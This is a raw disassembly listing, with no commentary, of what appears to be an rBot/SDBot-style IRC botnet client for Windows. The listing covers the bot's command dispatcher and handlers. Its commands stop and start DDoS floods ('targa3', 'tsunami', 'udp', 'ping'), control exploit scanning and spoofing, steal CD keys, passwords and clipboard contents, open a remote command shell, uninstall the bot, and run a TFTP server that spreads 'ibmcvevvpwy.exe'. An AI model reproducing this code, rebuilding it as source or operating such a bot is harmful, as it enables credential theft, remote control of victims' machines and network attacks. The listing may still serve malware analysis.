		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C71
		push	dword ptr [ebp+esi-8Ch]
		push	10h
		push	offset dword_42DC2C
		push	offset dword_42DC1C
		jmp	loc_404618
; ---------------------------------------------------------------------------


loc_402C71:				; CODE XREF: seg000:00402C57j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C9A
		push	dword ptr [ebp+esi-8Ch]
		push	11h
		push	offset dword_42DC00
		push	offset dword_42DBF0
		jmp	loc_404618
; ---------------------------------------------------------------------------


loc_402C9A:				; CODE XREF: seg000:00402C80j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CC3
		push	dword ptr [ebp+esi-8Ch]
		push	12h
		push	offset dword_42DBD8
		push	offset dword_42DBCC
		jmp	loc_404618
; ---------------------------------------------------------------------------


loc_402CC3:				; CODE XREF: seg000:00402CA9j
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E19
		mov	esi, [ebp+esi-8Ch]
		mov	edi, [ebp+0Ch]
		push	esi
		push	0Dh
		push	offset dword_42DC74
		push	offset dword_42DC68
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B1F9
		push	esi
		push	0Eh
		push	offset dword_42DC54
		push	offset dword_42DC48
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B1F9
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42DBB4
		push	offset dword_42DBA8
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B1F9
		push	esi
		push	16h
		push	offset dword_42DB9C
		push	offset dword_42DB90
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B1F9
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42DC00
		push	offset dword_42DBF0
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B1F9
		push	esi
		push	12h
		push	offset dword_42DBD8
		push	offset dword_42DBCC
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B1F9
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42DB80
		push	offset dword_42DB70
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B1F9
		push	esi
		push	13h
		push	offset dword_42DB60
		push	offset dword_42DB50
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B1F9
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42DC2C
		push	offset dword_42DC1C
		push	1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_40B1F9
		push	ebx
		push	dword ptr [ebp-4]
		push	offset unk_42DB1C
		push	dword ptr [ebp-88h]
		push	edi
		call	sub_409966
		add	esp, 34h
		jmp	loc_401F82
; ---------------------------------------------------------------------------


loc_402E19:				; CODE XREF: seg000:00402CD2j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E42
		push	dword ptr [ebp+esi-8Ch]
		push	0Fh
		push	offset dword_42DB80
		push	offset dword_42DB70
		jmp	loc_404618
; ---------------------------------------------------------------------------


loc_402E42:				; CODE XREF: seg000:00402E28j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E6B
		push	dword ptr [ebp+esi-8Ch]
		push	13h
		push	offset dword_42DB60
		push	offset dword_42DB50
		jmp	loc_404618
; ---------------------------------------------------------------------------


loc_402E6B:				; CODE XREF: seg000:00402E51j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E94
		push	dword ptr [ebp+esi-8Ch]
		push	17h
		push	offset dword_42DBB4
		push	offset dword_42DBA8
		jmp	loc_404618
; ---------------------------------------------------------------------------


loc_402E94:				; CODE XREF: seg000:00402E7Aj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EBD
		push	dword ptr [ebp+esi-8Ch]
		push	16h
		push	offset dword_42DB9C
		push	offset dword_42DB90
		jmp	loc_404618
; ---------------------------------------------------------------------------


loc_402EBD:				; CODE XREF: seg000:00402EA3j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EE6
		push	dword ptr [ebp+esi-8Ch]
		push	5
		push	offset aServer	; "Server"
		push	offset dword_42DAD4
		jmp	loc_404618
; ---------------------------------------------------------------------------


loc_402EE6:				; CODE XREF: seg000:00402ECCj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404605
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404605
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045F0
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045F0
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F63
		push	dword ptr [ebp+esi-8Ch]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42DA84
		jmp	loc_404618
; ---------------------------------------------------------------------------


loc_402F63:				; CODE XREF: seg000:00402F49j
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F8C
		push	dword ptr [ebp+esi-8Ch]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42DA60
		jmp	loc_404618
; ---------------------------------------------------------------------------


loc_402F8C:				; CODE XREF: seg000:00402F72j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FB5
		push	dword ptr [ebp+esi-8Ch]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42DA40
		jmp	loc_404618
; ---------------------------------------------------------------------------


loc_402FB5:				; CODE XREF: seg000:00402F9Bj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045DA
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045DA
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045C4
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045C4
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045AE
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045AE
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404598
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404598
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404579
		push	edi
		push	offset aR	; "r"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404579
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404557
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404557
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40450E
		push	edi
		push	offset aQ	; "q"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40450E
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D0
		push	edi
		push	offset aS_1	; "s"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D0
		push	edi
		push	offset aId	; "id"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404499
		push	edi
		push	offset aI	; "i"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404499
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403181
		call	sub_41851B
		test	eax, eax
		mov	eax, offset unk_42D97C
		jnz	short loc_403153
		mov	eax, offset unk_42D954


loc_403153:				; CODE XREF: seg000:0040314Cj
		push	eax
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 1Ch
		jmp	loc_4023FC
; ---------------------------------------------------------------------------


loc_403181:				; CODE XREF: seg000:0040313Ej
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043AC
		push	edi
		push	offset aT	; "t"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043AC
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404389
		push	edi
		push	offset aAl	; "al"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404389
		push	edi
		push	offset aLog	; "log"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40429A
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40429A
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40427E
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40427E
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404244
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404244
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404219
		push	edi
		push	offset aSi	; "si"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404219
		push	edi
		push	offset aRemov10e ; "remov10e"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041DF
		push	edi
		push	offset aRemov10e2 ; "remov10e2"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041DF
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040C0
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040C0
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404096
		push	edi
		push	offset aKey	; "key"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404096
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400F
		push	edi
		push	offset aUp	; "up"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400F
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF2
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF2
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FD9
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FD9
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F65
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F65
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4033CC
		push	dword ptr [ebp+esi-8Ch]
		push	0Ah
		push	offset dword_42D884
		push	offset dword_42D878
		jmp	loc_404618
; ---------------------------------------------------------------------------


loc_4033CC:				; CODE XREF: seg000:004033B2j
		push	edi
		push	offset dword_42D874
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034CB
		cmp	[ebp-8], ebx
		jnz	short loc_403400
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_42D860
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 14h


loc_403400:				; CODE XREF: seg000:004033E4j
		mov	eax, [ebp+20h]
		cmp	[eax], bl
		jz	short loc_40340A
		inc	eax
		jmp	short loc_40340F
; ---------------------------------------------------------------------------


loc_40340A:				; CODE XREF: seg000:00403405j
		mov	eax, offset aEmpty ; "<Empty>"


loc_40340F:				; CODE XREF: seg000:00403408j
		push	eax
		push	ebx
		lea	eax, [ebp-2C0h]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41BA76
		push	1
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		push	offset unk_42D82C
		call	sub_4152AE
		add	esp, 28h


loc_403449:				; CODE XREF: seg000:004036CEj
					; seg000:00404A3Bj
		mov	eax, [ebp+esi-8Ch]
		cmp	eax, ebx
		mov	[ebp+18h], eax
		jz	loc_401F82
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404B47
		mov	esi, [ebp+18h]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A4D
		lea	eax, [ebp-2C0h]
		push	offset unk_42D7F8
		push	eax
		mov	ds:dword_4D137C, ebx
		call	sub_41BA76
		pop	ecx
		pop	ecx


loc_4034A1:				; CODE XREF: seg000:00404AEEj
					; seg000:00404B14j ...
		cmp	[ebp-8], ebx
		jnz	loc_409753
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966


loc_4034C3:				; CODE XREF: seg000:00408AA4j
					; seg000:00408B08j
		add	esp, 14h
		jmp	loc_409753
; ---------------------------------------------------------------------------


loc_4034CB:				; CODE XREF: seg000:004033DBj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F24
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F24
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F07
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F07
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EC9
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EC9
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E8F
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E8F
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D33
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D33
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BBE
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BBE
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A8D
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A8D
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403657
		lea	eax, [ebp-2C0h]
		push	offset dword_42D750
		push	eax
		call	sub_41BA76
		cmp	[ebp-8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403636
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 14h


loc_403636:				; CODE XREF: seg000:00403618j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4152AE
		mov	dword ptr [esp], offset	aCrash ; "crash"
		push	dword ptr [ebp+esi-7Ch]
		call	sub_41C260
		jmp	loc_4098D3
; ---------------------------------------------------------------------------


loc_403657:				; CODE XREF: seg000:00403600j
		push	edi
		push	offset aFofofo2	; "fofofo2"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aSfdgdfgdfa ; "sfdgdfgdfa"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036AE
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_409920


loc_4036A6:				; CODE XREF: seg000:00401F55j
		add	esp, 0Ch
		jmp	loc_401F82
; ---------------------------------------------------------------------------


loc_4036AE:				; CODE XREF: seg000:00403690j
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4036D4
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403449


loc_4036D4:				; CODE XREF: seg000:004036BDj
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-0F50h]
		push	80h
		push	eax
		call	sub_41BB70
		mov	eax, [ebp+0Ch]
		push	offset unk_42D6D4
		mov	[ebp-0F54h], eax
		mov	eax, [ebp-4]
		mov	[ebp-0ECCh], eax
		mov	eax, [ebp-8]
		mov	[ebp-0EC8h], eax
		lea	eax, [ebp-2C0h]
		push	200h
		push	eax
		call	sub_41BB70
		push	ebx
		lea	eax, [ebp-2C0h]
		push	26h
		push	eax
		call	sub_40AF71
		add	esp, 24h
		mov	[ebp-0ED0h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0F54h]
		push	ebx
		push	eax
		push	offset sub_416F7D
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-0ED0h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_40377C
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D698
		jmp	loc_40831C
; ---------------------------------------------------------------------------


loc_403774:				; CODE XREF: seg000:00403782j
		push	32h
		call	ds:dword_428064	; Sleep


loc_40377C:				; CODE XREF: seg000:00403761j
		cmp	[ebp-0EC4h], ebx
		jz	short loc_403774
		jmp	loc_4023FC
; ---------------------------------------------------------------------------


loc_403789:				; CODE XREF: seg000:00403666j
					; seg000:0040367Bj
		mov	al, ds:byte_432D72
		mov	[ebp+8], ebx
		cmp	al, bl
		mov	edx, offset byte_432D72
		jz	loc_401F82
		mov	ecx, edx


loc_4037A0:				; CODE XREF: seg000:004037A8j
		inc	dword ptr [ebp+8]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037A0
		cmp	al, bl
		jz	loc_401F82
		mov	[ebp+18h], edx
		mov	esi, offset aBo_0 ; "#bo-"


loc_4037BA:				; CODE XREF: seg000:00403A66j
		push	0Bh
		call	sub_40B1B3
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	dword ptr [ebp+8]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403809
		push	ecx
		lea	eax, [ebp-2C0h]
		push	offset unk_42D658
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 20h
		jmp	loc_403A5D
; ---------------------------------------------------------------------------


loc_403809:				; CODE XREF: seg000:004037D4j
		or	dword ptr [ebp-72Ch], 0FFFFFFFFh
		cmp	ds:dword_432A90, ebx
		mov	dword ptr [ebp-730h], 64h
		mov	dword ptr [ebp-744h], 5
		mov	dword ptr [ebp-740h], 320h
		mov	[ebp+8], ebx
		jz	short loc_40387A
		mov	edi, offset dword_432A90


loc_40383E:				; CODE XREF: seg000:0040385Cj
		mov	eax, [ebp+18h]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403860
		inc	dword ptr [ebp+8]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40383E
		jmp	short loc_40387A
; ---------------------------------------------------------------------------


loc_403860:				; CODE XREF: seg000:00403852j
		mov	eax, [ebp+8]
		mov	ecx, eax
		mov	[ebp-72Ch], eax
		shl	ecx, 6
		mov	ecx, ds:dword_432A90[ecx]
		mov	[ebp-748h], ecx


loc_40387A:				; CODE XREF: seg000:00403837j
					; seg000:0040385Ej
		cmp	[ebp-748h], ebx
		jz	loc_403A83
		push	10h
		lea	eax, [ebp-2C8h]
		pop	edi
		push	eax
		lea	eax, [ebp-2F4h]
		push	eax
		mov	[ebp-2C8h], edi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_4CDB9C	; getsockname
		mov	al, [ebp-8FBh]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-2F0h], eax
		push	dword ptr [ebp-2F0h]
		call	ds:dword_4CDC84	; inet_ntoa
		push	eax
		lea	eax, [ebp-85Ch]
		push	eax
		call	sub_41B7E0
		xor	eax, eax
		cmp	[ebp-8FBh], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-85Ch]
		push	eax
		call	sub_41C030
		add	esp, 14h
		cmp	edi, ebx
		mov	[ebp+2Fh], bl
		jle	short loc_403922


loc_403900:				; CODE XREF: seg000:00403920j
		cmp	eax, ebx
		jz	short loc_403922
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-85Ch]
		push	30h
		push	eax
		call	sub_41C030
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_403900


loc_403922:				; CODE XREF: seg000:004038FEj
					; seg000:00403902j
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-88h]
		mov	[ebp-74Ch], eax
		mov	eax, [ebp-4]
		mov	[ebp-724h], eax
		mov	eax, [ebp-8]
		mov	[ebp-720h], eax
		mov	edi, 80h
		lea	eax, [ebp-84Ch]
		push	edi
		push	eax
		mov	dword ptr [ebp-71Ch], 1
		call	sub_41BB70
		push	offset dword_43FDB4
		push	esi
		call	sub_41C260
		add	esp, 14h
		test	eax, eax
		jz	short loc_403984
		push	esi
		lea	eax, [ebp-7CCh]
		push	edi
		push	eax
		call	sub_41BB70
		add	esp, 0Ch
		jmp	short loc_40398A
; ---------------------------------------------------------------------------


loc_403984:				; CODE XREF: seg000:0040396Fj
		mov	[ebp-7CCh], bl


loc_40398A:				; CODE XREF: seg000:00403982j
		cmp	[ebp-71Ch], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40399C
		mov	eax, offset aSequential	; "Sequential"


loc_40399C:				; CODE XREF: seg000:00403995j
		push	dword ptr [ebp-730h]
		lea	ecx, [ebp-85Ch]
		push	dword ptr [ebp-740h]
		push	dword ptr [ebp-744h]
		push	dword ptr [ebp-748h]
		push	ecx
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_42D5D8
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	0Bh
		push	eax
		call	sub_40AF71
		add	esp, 2Ch
		mov	[ebp-73Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-85Ch]
		push	ebx
		push	eax
		push	(offset	loc_40C1A1+1)
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-73Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_403A79
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_42D59C
		push	eax
		call	sub_41BA76
		add	esp, 0Ch


loc_403A2F:				; CODE XREF: seg000:00403A81j
		cmp	[ebp-8], ebx
		jnz	short loc_403A50
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 14h


loc_403A50:				; CODE XREF: seg000:00403A32j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4152AE
		pop	ecx


loc_403A5D:				; CODE XREF: seg000:00403804j
		add	dword ptr [ebp+18h], 0Bh
		mov	eax, [ebp+18h]
		cmp	[eax], bl
		jnz	loc_4037BA
		jmp	loc_401F82
; ---------------------------------------------------------------------------


loc_403A71:				; CODE XREF: seg000:00403A7Fj
		push	32h
		call	ds:dword_428064	; Sleep


loc_403A79:				; CODE XREF: seg000:00403A12j
		cmp	[ebp-718h], ebx
		jz	short loc_403A71
		jmp	short loc_403A2F
; ---------------------------------------------------------------------------


loc_403A83:				; CODE XREF: seg000:00403880j
		push	offset unk_42D564
		jmp	loc_406E9B
; ---------------------------------------------------------------------------


loc_403A8D:				; CODE XREF: seg000:004035D6j
					; seg000:004035EBj
		push	5
		call	sub_40B1B3
		test	eax, eax
		pop	ecx
		jle	short loc_403AA3
		push	offset unk_42D544
		jmp	loc_406E9B
; ---------------------------------------------------------------------------


loc_403AA3:				; CODE XREF: seg000:00403A97j
		mov	eax, [ebp+esi-8Ch]
		mov	edi, 104h
		cmp	eax, ebx
		jz	short loc_403AC6
		push	eax
		lea	eax, [ebp-2E50h]
		push	edi
		push	eax
		call	sub_41BB70
		add	esp, 0Ch
		jmp	short loc_403AD5
; ---------------------------------------------------------------------------


loc_403AC6:				; CODE XREF: seg000:00403AB1j
		lea	eax, [ebp-2E50h]
		push	edi
		push	eax
		push	ebx
		call	near ptr 0B10000h
		dec	edi


loc_403AD5:				; CODE XREF: seg000:00403AC4j
		mov	esi, [ebp+esi-88h]
		cmp	esi, ebx
		jnz	short loc_403AE5
		mov	esi, offset aIbmcvevvpwy_ex ; "ibmcvevvpwy.exe"


loc_403AE5:				; CODE XREF: seg000:00403ADEj
		push	esi
		lea	eax, [ebp-2D4Ch]
		push	edi
		push	eax
		call	sub_41BB70
		mov	eax, ds:dword_42A07C
		push	7Fh
		push	dword ptr [ebp-88h]
		mov	[ebp-2C40h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-2C44h], ebx
		mov	[ebp-2E54h], eax
		lea	eax, [ebp-2C3Ch]
		push	eax
		call	sub_41B7E0
		mov	eax, [ebp-4]
		mov	[ebp-2BBCh], eax
